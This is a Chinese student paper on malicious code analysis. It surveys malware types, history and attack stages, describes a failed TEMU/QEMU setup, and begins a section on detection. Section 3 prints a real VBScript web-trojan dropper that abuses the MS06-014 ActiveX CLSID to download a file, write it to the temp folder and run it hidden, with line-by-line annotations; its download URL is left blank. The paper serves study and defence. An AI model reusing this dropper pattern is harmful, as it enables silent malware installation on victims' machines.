《计算机专业论文:恶意代码分析.doc》由会员分享,可在线阅读,更多相关《计算机专业论文:恶意代码分析.doc(32页珍藏版)》请在三一办公上搜索。
1、恶意代码分析目录摘要:3关键词:31.概要介绍32.恶意代码综述42.1 恶意代码的特征42.2 恶意代码的传播42.2.1 恶意代码的传播手法42.2.2 恶意代码的趋势42.3 恶意代码的类型52.4 恶意代码的发展82.5 恶意代码攻击机制113. 恶意代码实例124. 恶意代码分析实验操作145. 恶意代码侦测195.1 现行恶意代码侦测情况195.2 应有恶意代码侦测机制215.2.1 恶意代码传播的不易控性215.2.2 路径跟踪的新方法:沾染图225.2.3 沾染图的基础245.2.4 Panorama266. 小组感想297. 小组分工318. 参考文献32摘要:恶意代码(Ma
2、licious Code)是指没有作用却会带来危险的代码,其最主要特征是目的的恶意性、程序的执行性与执行的传播性。在探索了恶意代码的基本属性与特征后,我组进而对一个真实的恶意代码实例进行了较为详细的分为,并在真实代码旁均作了详实的批注。除此,为了进一步跟踪恶意代码的破坏途径,我组在我们的笔记本电脑中装入了VWare虚拟机,并试图运行TEMU软件,进行此方面研究。最后,在完成上述工作后,我们产生了这样的观点,即:仅仅了解恶意代码的实质与恶性并不足以产生对现实生活有益的效果,为了能学有所用,我们更应了解的是如何对恶意代码进行侦测和防治。因而,我组最后的研究内容是与探索一条侦测途径,即:Panora
3、ma系统,以遍更有效地抵消恶意代码的进攻。关键词:恶意代码(恶意软件),TEMU,恶意代码侦测,Panorama1. 概要介绍生活质量的提高、信息的海量增加、科技的日益普及等无一不使电脑的泛化与网络的兴荣呈现愈演愈烈的趋势。随着这种趋势的日益明显,人们愈发地离不开电脑的应用与网络所呈现出的便利与快捷。然而,不可忽视的是,这种繁华背后的另一面却也有着令人胆寒的发展。恶意代码,无疑是这种现象最不可替代的承担者。它们窃取私人用户信息、严重破坏网络秩序、使得数以万计的资产流失等等。特洛伊木马、蠕虫病毒、键盘记录器、密码窃贼、网络嗅探器、隐形后门、间谍软件等,数不胜数的计算机病毒、恶意代码、恶意软件等,
4、每天都在窥探着人们的生活,伺机下手以进行破坏行为。为此,我组于是决定进行恶意代码方面的探究,以求更好地理解其本质、属性等一些基本信息,为的是对于其防御措施亦能被提高。鉴于此,我组进行的第一项内容即是对恶意代码进行了概要性学习,主要包括了其概述、类型、发展与进攻机制等四方面内容。接下来,本着学以致用的原则,我们详细分析了一个恶意代码实例,一是用以验证之前学习内容的正确性,二则是切实展示出其之所以“恶意”的原因。所谓“知己知彼,百战不殆”,正确理解其进攻机制,观测出其恶性成分,才能切实明了最为有效的侦测的途径。在学习完恶意代码的基本属性与恶意代码实例后,我组想进行更深一步的实验,即利用虚拟机中的软
5、件进行恶意代码的跟踪,以求得其进攻途径。于是,我们在自己的电脑中安装了VWare Workstation 7作为试验用虚拟机,并在虚拟机中安装了Ubuntu 9.04 版本作为虚拟机中的操作系统。后,在虚拟机中安装了QEMU以为安装最终的实验工具TEMU做准备。然而,在安装TEMU时,我组遇到了一个比较大的困难,并最终导致本部分探究内容并不是非常完美。具体内容,我们会在之后的相应内容(本篇第4部分)进行详细说明。正如我组一开始便提出的观点,进行恶意代码本省的学习并不是我们的目的,因为至少我组成员没有想在今后进行破坏性事业的打算,因而,所有的学习内容均本着学以致用的态度,即:如何进行侦测与预防。
6、因而,在本次学习的最后阶段,我们探究了一个概念系统Panorama,并与之前(即现大多数应用的)侦测系统进行了比对,来说明最为切实有效的侦测理应来源于对于底层、对于终端、对于沾染路径的多方位立体侦测途径。综上所述,我组本篇文档的主要思路如下:第一部分:概要描述;第二部分:恶意代码概述;第三部分:恶意代码实例与分析;第四部分:恶意代码分析实验操作;第五部分:恶意代码侦测;第六部分:组内成员感想;第七部分:组内分工;第八部分:参考文献。2. 恶意代码综述 代码,指计算机程序代码,可以被执行完成特定功能。任何事物都有正反两面,人类发明的所有工具既可造福也可作孽,这完全取决于使用工具的人。恶意代码(M
7、alicious Code)是指没有作用却会带来危险的代码,一个最安全的定义是把所有不必要的代码都看作是恶意的,不必要代码比恶意代码具有更宽泛的含义,包括所有可能与某个组织安全策略相冲突的软件。计算机程序也不例外,软件工程师们编写了大量的有用的软件(操作系统,应用系统和数据库系统等)的同时,黑客们在编写编写扰乱社会和他人的计算机程序,这些代码统称为恶意代码。2.1 恶意代码的特征恶意代码(Malicious code)或者,恶意软件(Malware,Malicious Software)具有如下共同特征:(1) 恶意的目的(2) 本身是程序(3) 通过执行发生作用有些恶作剧程序或者游戏程序不能
8、看作是恶意代码。对滤过性病毒的特征进行讨论的文献很多,尽管它们数量很多,但是机理比较近似,在防病毒程序的防护范围之内,更值得注意的是非滤过性病毒。2.2 恶意代码的传播2.2.1 恶意代码的传播手法恶意代码编写者一般利用三类手段来传播恶意代码:软件漏洞、用户本身或者两者的混合。有些恶意代码是自启动的蠕虫和嵌入脚本,本身就是软件,这类恶意代码对人的活动没有要求。一些像特洛伊木马、电子邮件蠕虫等恶意代码,利用受害者的心理操纵他们执行不安全的代码;还有一些是哄骗用户关闭保护措施来安装恶意代码。2.2.2 恶意代码的趋势l 种类更模糊恶意代码的传播不单纯依赖软件漏洞或者社会工程中的某一种,而可能是它们
9、的混合。比如蠕虫产生寄生的文件病毒,特洛伊程序,口令窃取程序,后门程序,进一步模糊了蠕虫、病毒和特洛伊的区别。l 混合传播模式“混合病毒威胁”和“收敛威胁”的成为新的病毒术语,“红色代码”利用的是IIS的漏洞,Nimda实际上是1988年出现的Morris 蠕虫的派生品种,它们的特点都是利用漏洞,病毒的模式从引导区方式发展为多种类病毒蠕虫方式,所需要的时间并不是很长。l 多平台多平台攻击开始出现,有些恶意代码对不兼容的平台都能够有作用。来自Windows的蠕虫可以利用Apache的漏洞,而Linux蠕虫会派生exe格式的特洛伊。l 使用销售技术另外一个趋势是更多的恶意代码使用销售技术,其目的不
10、仅在于利用受害者的邮箱实现最大数量的转发,更重要的是引起受害者的兴趣,让受害者进一步对恶意文件进行操作,并且使用网络探测、电子邮件脚本嵌入和其它不使用附件的技术来达到自己的目的。恶意软件(malware)的制造者可能会将一些有名的攻击方法与新的漏洞结合起来,制造出下一代的WM/Concept, 下一代的Code Red, 下一代的 Nimda。对于防病毒软件的制造者,改变自己的方法去对付新的威胁则需要不少的时间。l 程度加深这似乎是一个不争的事实。然而想要从根本上了解这个特点的实质,我们还需要从两个方面理解:恶意程度,发展速度。在2.4节中的图2-2,我们会详细给出说明。2.3 恶意代码的类型
11、 我们从图2-1中可以很清楚地看到,计算机恶意代码,包括病毒、木马程序等,可谓千差万别,千变万化。我们之所以要学习此部分内容,目的是进行有针对的侦测与预防,因为,每一种恶意代码其进攻机制不尽相同(我们会在下一部分详细说明),大致分类如下图:图2-1 恶意代码大致分类具体分类与其所对应特点可见如下几部分:(1)计算机病毒定义:指编制或者在计算机程序中插入的破坏计算机功能或者毁坏数据,影响计算机使用,并能自我复制的一组计算机指令或者程序代码。而在一般教科书及通用资料中被定义为:利用计算机软件与硬件的缺陷,由被感染机内部发出的破坏计算机数据并影响计算机正常工作的一组指令集或程序代码 。特点:寄生、潜
12、伏、隐蔽、可触发、传染和破坏。(2)计算机蠕虫定义:指通过计算机网络自我复制,消耗系统资源和网络资源的程序。计算机蠕虫是一种软件程序,可以将自身从一台计算机复制到另一台,同时并不需要人的干预。与计算机病毒不同,蠕虫可以自动复制自己。特点:扫描、攻击和扩散。(3)特洛伊木马定义:指一种与远程计算机建立连接,使远程计算机能够通过网络控制本地计算机的程序。一种秘密潜伏的能够通过远程网络进行控制的恶意程序。控制者可以控制被秘密植入木马的计算机的一切动作和资源,是恶意攻击者进行窃取信息等的工具。特点:欺骗、隐蔽、自动运行、自动恢复和信息窃取。不产生图标木马虽然在你系统启动时会自动运行,但它不会在 任务栏
13、中产生一个图标,木马程序自动在任务管理器中隐藏,并以系统服务的方式欺骗操作系统。(4)逻辑炸弹定义:指一段嵌入计算机系统程序的,通过特殊的数据或时间作为条件触发,试图完成一定破坏功能的程序。计算机中的“逻辑炸弹”是指在特定逻辑条件满足时,实施破坏的计算机程序,该程序触发后造成计算机数据丢失、计算机不能从硬盘或者软盘引导,甚至会使整个系统瘫痪,并出现物理损坏的虚假现象。特点:计算机中的“逻辑炸弹”是指在特定逻辑条件满足时,实施破坏的计算机程序,该程序触发后造成计算机数据丢失、计算机不能从硬盘或者软盘引导,甚至会使整个系统瘫痪,并出现物理损坏的虚假现象。因为一个逻辑炸弹不自我复制,这是很容易写一逻
14、辑炸弹的计划。 这也意味着一个逻辑炸弹将不会蔓延到意想不到的受害者。 在某些方面,逻辑炸弹是最文明的程序的威胁,因为一个逻辑炸弹,必须针对特定的受害者。经典使用一个逻辑炸弹,是要确保支付软件。 如果付款是不是由某一特定日期,逻辑炸弹激活和软件会自动删除本身。 一个更恶意的形式,即逻辑炸弹也将删除系统上其他数据。(5)病菌定义:指不依赖于系统软件,能够自我复制和传播,以消耗系统资源为目的的程序。特点:传染和拒绝服务。(6)用户级RootKit定义:指通过替代或者修改被系统管理员或普通用户执行的程序进入系统,从而实现隐藏和创建后门的程序。Rootkit是一种奇特的程序,它具有隐身功能:无论静止时(
15、作为文件存在),还是活动时,(作为进程存在),都不会被察觉。特点:Rootkit 是一种特殊类型的 malware(恶意软件)。Rootkit 之所以特殊是因为您不知道它们在做什么事情。Rootkit 基本上是无法检测到的,而且几乎不可能删除它们。虽然检测工具在不断增多,但是恶意软件的开发者也在不断寻找新的途径来掩盖他们的踪迹。在发现系统中存在 Rootkit 之后,能够采取的补救措施也较为有限。由于 Rootkit 可以将自身隐藏起来,所以您可能无法知道它们已经在系统中存在了多长的时间。而且您也不知道 Rootkit 已经对哪些信息造成了损害。对于找出的 Rootkit,最好的应对方法便是擦
16、除并重新安装系统。虽然这种手段很严厉,但是这是得到证明的唯一可以彻底删除 Rootkit 的方法。(7)核心级RootKit定义:指嵌入操作系统内核进行隐藏和创建后门的程序。Rootkit 的目的在于隐藏自己以及其他软件不被发现。它可以通过阻止用户识别和删除攻击者的软件来达到这个目的。Rootkit 几乎可以隐藏任何软件,包括文件服务器、键盘记录器、Botnet 和 Remailer。许多 Rootkit 甚至可以隐藏大型的文件集合并允许攻击者在您的计算机上保存许多文件,而您无法看到这些文件。特点:隐蔽,潜伏。以上内容,我组进行了总结,为了方便阅读,我组将其其结果概括成了如下的表格:恶意代码类
17、型定义特点计算机病毒指编制或者在计算机程序中插入的破坏计算机功能或者毁坏数据,影响计算机使用,并能自我复制的一组计算机指令或者程序代码。潜伏、传染和破坏计算机蠕虫指通过计算机网络自我复制,消耗系统资源和网络资源的程序扫描、攻击和扩散特洛伊木马指一种与远程计算机建立连接,使远程计算机能够通过网络控制本地计算机的程序。欺骗、隐蔽和信息窃取逻辑炸弹指一段嵌入计算机系统程序的,通过特殊的数据或时间作为条件触发,试图完成一定破坏功能的程序。潜伏和破坏病菌指不依赖于系统软件,能够自我复制和传播,以消耗系统资源为目的的程序。传染和拒绝服务用户级RootKit指通过替代或者修改被系统管理员或普通用户执行的程序
18、进入系统,从而实现隐藏和创建后门的程序。隐蔽,潜伏核心级RootKit指嵌入操作系统内核进行隐藏和创建后门的程序隐蔽,潜伏表2-1 恶意代码分类特性2.4 恶意代码的发展 恶意代码经过20多年的发展,破坏性、种类和感染性都得到增强。随着计算机的网络化程度逐步提高,网络传播的恶意代码对人们日常生活影响越来越大。 (1)1988 年11 月泛滥的Morris蠕虫,顷刻之间使得6000 多台计算机(占 当时Internet 上计算机总数的10%多)瘫痪,造成严重的后果,并因此引起世 界范围内关注。 (2)1998 年CIH病毒造成数十万台计算机受到破坏。1999 年Happy 99、Melissa
19、病毒大爆发,Melissa 病毒通过E-mail 附件快速传播而使E-mail 服务器和网络负载过重,它还将敏感的文档在用户不知情的情况下按地址簿中的地址发出。 (3)2000 年5 月爆发的“爱虫”病毒及其以后出现的50 多个变种病毒,是近年来让计算机信息界付出极大代价的病毒,仅一年时间共感染了4000 多万台计算机,造成大约87 亿美元的经济损失。 (4)2001 年,国信安办与公安部共同主办了我国首次计算机病毒疫情网上调查工作。结果感染过计算机病毒的用户高达73,其中,感染三次以上的用户又占59多,网络安全存在大量隐患。 (5)2001 年8月,“红色代码”蠕虫利用微软Web 服务器II
20、S 4.0 或5.0 中Index服务的安全漏洞,攻破目标机器,并通过自动扫描方式传播蠕虫,在互联网上大规模泛滥。 (6)2003 年,SLammer 蠕虫在10 分钟内导致互联网90脆弱主机受到感染。同年8月,“冲击波”蠕虫爆发,8天内导致全球电脑用户损失高达20亿美元之多。 (7)2004年到2006年,振荡波蠕虫、爱情后门、波特后门等恶意代码利用电子邮件和系统漏洞对网络主机进行疯狂传播,给国家和社会造成了巨大的经济损失。 (8)目前,恶意代码问题成为信息安全需要解决的,迫在眉睫的、刻不容缓的安全问题。图2-2 恶意代码发展趋势上图可以很清晰地表明,从第一例计算机病毒(APPLE II,1
21、981年)到2003年的冲击波病毒,恶意程度增加之迅猛,种类数量程度增加之快速,令人瞠目。从而,我们也可以很清晰地回答2.2.2节最后遗留下来的问题。 为了更好的理解上图,并对上图进行补充(此图只截止到2003年产生的病毒),我们查阅了相关资料并进行了整理,现将结果公示如下: (1)Elk Cloner(1982年)它被看作攻击个人计算机的第一款全球病毒,也是所有令人头痛的安全问题先驱者。它通过苹果Apple II软盘进行传播。这个病毒被放在一个游戏磁盘上,可以被使用49次。在第50次使用的时候,它并不运行游戏,取而代之的是打开一个空白屏幕,并显示一首短诗。(2)Brain(1986年)Bra
22、in是第一款攻击运行微软的受欢迎的操作系统DOS的病毒,可以感染感染360K软盘的病毒,该病毒会填充满软盘上未用的空间,而导致它不能再被使用。(3)Morris(1988年)Morris该病毒程序利用了系统存在的弱点进行入侵,Morris设计的最初的目的并不是搞破坏,而是用来测量网络的大小。但是,由于程序的循环没有处理好,计算机会不停地执行、复制Morris,最终导致死机。(4)CIH(1998年)CIH病毒是迄今为止破坏性最严重的病毒,也是世界上首例破坏硬件的病毒。它发作时不仅破坏硬盘的引导区和分区表,而且破坏计算机系统BIOS,导致主板损坏。 此病毒是由台湾大学生陈盈豪研制的,据说他研制此
23、病毒的目的是纪念1986年的灾难或是让反病毒软件难堪。(5)Melissa(1999年)Melissa是最早通过电子邮件传播的病毒之一,当用户打开一封电子邮件的附件,病毒会自动发送到用户通讯簿中的前50个地址,因此这个病毒在数小时之内传遍全球。(6)Love bug(2000年)Love bug也通过电子邮件附近传播,它利用了人类的本性,把自己伪装成一封求爱信来欺骗收件人打开。这个病毒以其传播速度和范围让安全专家吃惊。在数小时之内,这个小小的计算机程序征服了全世界范围之内的计算机系统。(7)“红色代码”(2001年)被认为是史上最昂贵的计算机病毒之一,这个自我复制的恶意代码“红色代码”利用了微
24、软IIS服务器中的一个漏洞。该蠕虫病毒具有一个更恶毒的版本,被称作红色代码II。这两个病毒都除了可以对网站进行修改外,被感染的系统性能还会严重下降。(8)“Nimda”(2001年)尼姆达(Nimda)是历史上传播速度最快的病毒之一,在上线之后的22分钟之后就成为传播最广的病毒。(9)“冲击波”(2003年)冲击波病毒的英文名称是Blaster,还被叫做Lovsan或Lovesan,它利用了微软软件中的一个缺陷,对系统端口进行疯狂攻击,可以导致系统崩溃。(10)“震荡波”(2004年)震荡波是又一个利用Windows缺陷的蠕虫病毒,震荡波可以导致计算机崩溃并不断重启。(11)“熊猫烧香”(20
25、07年)熊猫烧香会使所有程序图标变成熊猫烧香,并使它们不能应用。(12)“扫荡波”(2008年)同冲击波和震荡波一样,也是个利用漏洞从网络入侵的程序。而且正好在黑屏事件,大批用户关闭自动更新以后,这更加剧了这个病毒的蔓延。这个病毒可以导致被攻击者的机器被完全控制。(13)“Conficker”(2008年)Conficker.C病毒原来要在2009年3月进行大量传播,然后在4月1日实施全球性攻击,引起全球性灾难。不过,这种病毒实际上没有造成什么破坏。(14)“木马下载器”(2009年)本年度的新病毒,中毒后会产生10002000不等的木马病毒,导致系统崩溃,短短3天变成360安全卫士首杀榜前3
26、名(现在位居榜首)(15)“鬼影病毒”(2010年)该病毒成功运行后,在进程中、系统启动加载项里找不到任何异常,同时即使格式化重装系统,也无法将彻底清除该病毒。犹如“鬼影”一般“阴魂不散”,所以称为“鬼影”病毒。(16).“极虎病毒”(2010年)该病毒类似qvod播放器的图标。感染极虎之后可能会遭遇的情况:计算机进程中莫名其妙的有ping.exe 和rar.exe进程,并且cpu占用很高,风扇转的很响很频繁(手提电脑),并且这两个进程无法结束。某些文件会出现usp10.dll、lpk.dll文件,杀毒软件和安全类软件会被自动关闭,如瑞星、360安全卫士等如果没有及时升级到最新版本都有可能被停
27、掉。破坏杀毒软件,系统文件,感染系统文件,让杀毒软件无从下手。极虎病毒最大的危害是造成系统文件被篡改,无法使用杀毒软件进行清理,一旦清理,系统将无法打开和正常运行,同时基于计算机和网络的帐户信息可能会被盗,如网络游戏帐户、银行帐户、支付帐户以及重要的电子邮件帐户等。2.5 恶意代码攻击机制恶意代码的行为表现各异,破坏程度千差万别,但基本作用机制大体相同,其整个作用过程分为6个部分: (1)侵入系统。侵入系统是恶意代码实现其恶意目的的必要条件。恶意代码入侵的途径很多,如:从互联网下载的程序本身就可能含有恶意代码;接收已经感染恶意代码的电子邮件;从光盘或软盘往系统上安装软件;黑客或者攻击者故意将恶
28、意代码植入系统等。 (2)维持或提升现有特权。恶意代码的传播与破坏必须盗用用户或者进程的合法权限才能完成。 (3)隐蔽策略。为了不让系统发现恶意代码已经侵入系统,恶意代码可能会改名、删除源文件或者修改系统的安全策略来隐藏自己。 (4)潜伏。恶意代码侵入系统后,等待一定的条件,并具有足够的权限时,就发作并进行破坏活动。 (5)破坏。恶意代码的本质具有破坏性,其目的是造成信息丢失、泄密,破坏系统完整性等。 (6)重复(1)至(5)对新的目标实施攻击过程。恶意代码的攻击模型如图2-1所示。图2-3 恶意代码进攻机制3. 恶意代码实例在我组展示我们所学习的真实恶意代码前,我们认为有必要先了解一下木马病
29、毒的发展,毕竟,在了解一个真实的木马程序之前了解其背景总会有些好处。第一代木马 :伪装型木马这种木马通过伪装成一个合法性程序诱骗用户上当。世界上第一个计算机木马是出现在1986年的PC-Write木马。它伪装成共享软件PC-Write的2.72版本(事实上,编写PC-Write的Quicksoft公司从未发行过2.72版本),一旦用户信以为真运行该木马程序,那么他的下场就是硬盘被格式化。在我刚刚上大学的时候,曾听说我校一个前辈牛人在WAX机房上用BASIC作了一个登录界面木马程序,当你把你的用户ID,密码输入一个和正常的登录界面一模一样的伪登录界面后后,木马程序一面保存你的ID,和密码,一面提
30、示你密码错误让你重新输入,当你第二次登录时,你已成了木马的牺牲品。此时的第一代木马还不具备传染特征。第二代木马 :AIDS型木马继PC-Write之后,1989年出现了AIDS木马。由于当时很少有人使用电子邮件,所以AIDS的作者就利用现实生活中的邮件进行散播:给其他人寄去一封封含有木马程序软盘的邮件。之所以叫这个名称是因为软盘中包含有AIDS和HIV疾病的药品,价格,预防措施等相关信息。软盘中的木马程序在运行后,虽然不会破坏数据,但是他将硬盘加密锁死,然后提示受感染用户花钱消灾。可以说第二代木马已具备了传播特征(尽管通过传统的邮递方式)。第三代木马:网络传播性木马随着Internet的普及,
31、这一代木马兼备伪装和传播两种特征并结合TCP/IP网络技术四处泛滥。同时他还有新的特征:第一,添加了“后门”功能。所谓后门就是一种可以为计算机系统秘密开启访问入口的程序。一旦被安装,这些程序就能够使攻击者绕过安全程序进入系统。该功能的目的就是收集系统中的重要信息,例如,财务报告、口令及信用卡号。此外,攻击者还可以利用后门控制系统,使之成为攻击其它计算机的帮凶。由于后门是隐藏在系统背后运行的,因此很难被检测到。它们不像病毒和蠕虫那样通过消耗内存而引起注意。第二,添加了键盘记录功能。从名称上就可以知道,该功能主要是记录用户所有的键盘内容然后形成键盘记录的日志文件发送给恶意用户。恶意用户可以从中找到
32、用户名、口令以及信用卡号等用户信息。这一代木马比较有名的有国外的BO2000(BackOrifice)和国内的冰河木马。它们有如下共同特点:基于网络的客户端/服务器应用程序。具有搜集信息、执行系统命令、重新设置机器、重新定向等功能。 当木马程序攻击得手后,计算机就完全在黑客控制的傀儡主机,黑客成了超级用户,用户的所有计算机操作不但没有任何秘密而言,而且黑客可以远程控制傀儡主机对别的主机发动攻击,这时候背俘获的傀儡主机成了黑客进行进一步攻击的挡箭牌和跳板。下面的,则是一个真实的木马程序,此程序为VBScript所写,具体如下:on error resume nextdl = Set df = d
33、ocument.createElement(object)df.setAttribute classid, clsid:BD96C556-65A3-11D0-983A-00C04FC29E36str=Microsoft.XMLHTTPSet x = df.CreateObject(str,)a1=Adoa2=db.a3=Stra4=eamstr1=a1&a2&a3&a4str5=str1set S = df.createobject(str5,)S.type = 1str6=GETx.Open str6, dl, Falsex.Sendfname1=set F = df.createobjec
34、t(Scripting.FileSystemObject,)set tmp = F.GetSpecialFolder(2) fname1= F.BuildPath(tmp,fname1)S.openS.write x.responseBodyS.savetofile fname1,2S.closeset Q = df.createobject(Shell.Application,)Q.ShellExecute fname1,open,0表3-1 恶意代码实例初看此代码,的确有些不明就里,不过,在分析过后,我们发下了一些重要的结论,现将分析结果展示如下:on error resume next
35、开启错误陷阱dl = 定义“dl”为木马下载地址Set df = document.createElement(object) 建立子元素df.setAttribute classid, clsid:BD96C556-65A3-11D0-983A-00C04FC29E36 声明网马的clsid,这个是ms06014的str=Microsoft.XMLHTTP 使用XMLhttp对象Set x = df.CreateObject(str,) 用Adodb.Stream执行文件操作a1=Ado 下面这三个的作用是拆分字符串 “Adodb.Stream”,躲过一些杀毒软件查杀a2=db. a3=St
36、r a4=eam str1=a1&a2&a3&a4 合并字符串“Adodb.Stream”str5=str1 转移变量str1到str5set S = df.createobject(str5,) 执行文件操作S.type = 1 str6=GET 使用get方式获取木马文件x.Open str6, dl, False 根据木马地址获取木马文件x.Send fname1= 定义木马的文件名set F = df.createobject(Scripting.FileSystemObject,) 用FileSystemObjec执行文件操作,这次是写入文件set tmp = F.GetSpecia
37、lFolder(2) 获取临时文件夹路径fname1= F.BuildPath(tmp,fname1) 下面这些是向临时文件夹中写入木马S.open S.write x.responseBody S.savetofile fname1,2 保存木马文件S.close 关闭连接set Q = df.createobject(Shell.Application,) 用Shell.Application运行木马文件Q.ShellExecute fname1,open,0 以隐藏方式运行木马表3-2 恶意代码实例分析关键的信息我组已经用蓝色标记。从上表的分析来看,可以发现一个根本,即“隐藏”,所有的途
38、径均要隐藏或隐蔽。如将自身的名字拆分、用Shell.Application方式运行等。可见,此与表2-1中所列是不谋而合的。面对如此狡诈的程序代码,我们当然欲探究其攻击途径与方式,因而,这也催生出我们想要跟踪它的欲望。于是,我们进行了下面的实验内容。4. 恶意代码分析实验操作在本部分中,我组欲跟踪恶意代码的路径,说明其机制。所以,在我组的笔记本电脑上安装了VWare Workstation 7 虚拟机。给此虚拟机配置的操作系统是Ubuntu 9.04,在此基础上,为安装运行环境TEMU,我们应当安装QEMU。具体步骤如下:(1)先安装VMware Workstation 7(2)安装完后在VM
39、ware Workstation 7中安装UBUNTU系统步骤如下:1)文件新建虚拟机,选择标准图4-12)根据Ubuntu安装方式选择从安装盘或镜像文件安装图4-23)自定义UBUNTU用户名称,用户名,密码图4-34)自定义虚拟机名称和安装位置(找一个较大的位置,为虚拟机预留可使用空间)图4-45) 自定义虚拟机可用硬盘空间图4-56)自定义虚拟机硬件配置(可根据电脑配置自行更改虚拟机硬件配置)图4-6(3)启动虚拟机从安装UBUNTU系统,配置好用户名密码后自动进行安装图4-7(4)进如UBUNTU系统之后按CTRL+ALT+F2进入控制台1) 输入账号密码图4-82) 键入cd mkd
40、ir bitblazecd bitblaze 表4-1创建Bitblaze文件夹3) 在确认联网的前提下进行TEMU/QEMU的安装,按照如下步骤输入指令: (UBUNTU能自寻搜索并下载QEMU)sudo apt-get install qemusudo apt-get build-dep qemusudo apt-get install kqemu-common kqemu-sourcesudo apt-get install module-assistantsudo module-assistant -t auto-install kqemusudo apt-get install bi
41、nutils-devsudo apt-get install gcc-3.4tar xvzf /tmp/temu-1.0.tar.gz(先将temu-1.0.tar.gz放在TMP文件夹中)表4-2 4) 在QMUE下安装UBUNTU虚拟机(这一步由于未能找到对于在QEMU下安装虚拟系统的步骤和指令,而后面的应用和指令,都是在QEMU下安再安装虚拟机UBUNTU,使用TEMU的追踪功能进行查看示例在这两个虚拟机之间进行的操作,因此由于这一步未能实现,所以无法继续进行以下步骤。)5) 启动TEMU追踪功能(cd temu-1.0 & ./configure -target-list=i386-s
42、oftmmu -proj-name=tracecap -cc=gcc-3.4 -prefix=pwd/install)(cd temu-1.0 & make)(cd temu-1.0 & make install)表4-36) 配置TMUE网络步骤如下:sudo /sbin/ifconfig $1 192.168.10.1sudo apt-get install uml-utilitiessudo /usr/sbin/tunctl -b user -t tap0sudo chmod 666 /dev/net/tunqemu -kernel-kqemu -snapshot -net nic,vl
43、an=0 -net tap,vlan=0,script=/etc/qemu-ifup -monitor stdio /path/to/qemu/image表4-4:此步是本次试验的分水岭。事实上,我们并没有完成此步的操作,具体问题会马上在总结中讨论。因而,以上步骤中最后的(5),(6)两步我们没有进行。本部分小结:为进行恶意代码试验,我们首先安装了VWare Workstation 7 的虚拟机,并为其安装了Ubuntu 9.04操作系统。在此基础上,我们安装了QEMU。然而,在下一步即将安装TEMU时,我们遇到了困难,虽然极尽努力,然而仍然没能进行最后两步。事后,我们亦对这种结果感到遗憾,因
44、而总结出了一些困难,希望能对以后的工作有所帮助。首先,TEMU工具的资料非常少,出了Berkeley大学的网站相应Dawn Song老师的站点内有较少信息,其它网址几乎没有;其次,仅有的资料即是刚刚所提及的,因而内容是纯英文且没有任何翻译的,一切内容都是我组人工翻译完成。不仅如此,VWare,QEMU等安装说明,描述信息,甚至后续研究用到的论文亦均为英语书写,这写对我们的工作造成了相当大的困难;再者,TEMU的安装比较麻烦。因为在安装配置好虚拟机VWare后,为了运行TEMU,我们仍然需要在QEMU中再安装Ubuntu。实际上,是需要在两个虚拟的环境转换中进行恶意代码的研究。而如在步骤中所述,
45、我们没有找到关于在QEMU中安装Ubuntu的指令(因为Ubuntu是基于命令行的),所以我们无法向下进行。不仅如此,此实验对资源的占用也颇为惊人,我组有些不堪。因为一个Ubuntu实际上就要占据10G的容量,而要安装两个,在加上虚拟机等其他内容,对于我们自身而言确实有些困难;而最令我们头痛的事是,所有资源均来自Berkeley大学,而开服与否完全取决于他们,要求容量如此之高,下载速度也相应受限,因而前期的准备我们便花费了很久的时间。因而综上,虽然我们的试验原则上讲并未成功,但是我们通过这样的过程的确得到了历练并增长了知识。5. 恶意代码侦测恶意代码的侦测,也是我们研究的重点,因为我们一直认为只有真正能够做到对恶意地代码侦测、防治,学习恶意代码才是真正有意义的。因而在此部分,我们想分两部分进行讨论:首先,现行侦测实例与说明;后,应用的侦测机制与Panorama的学习记录。5.1 现行恶意代码侦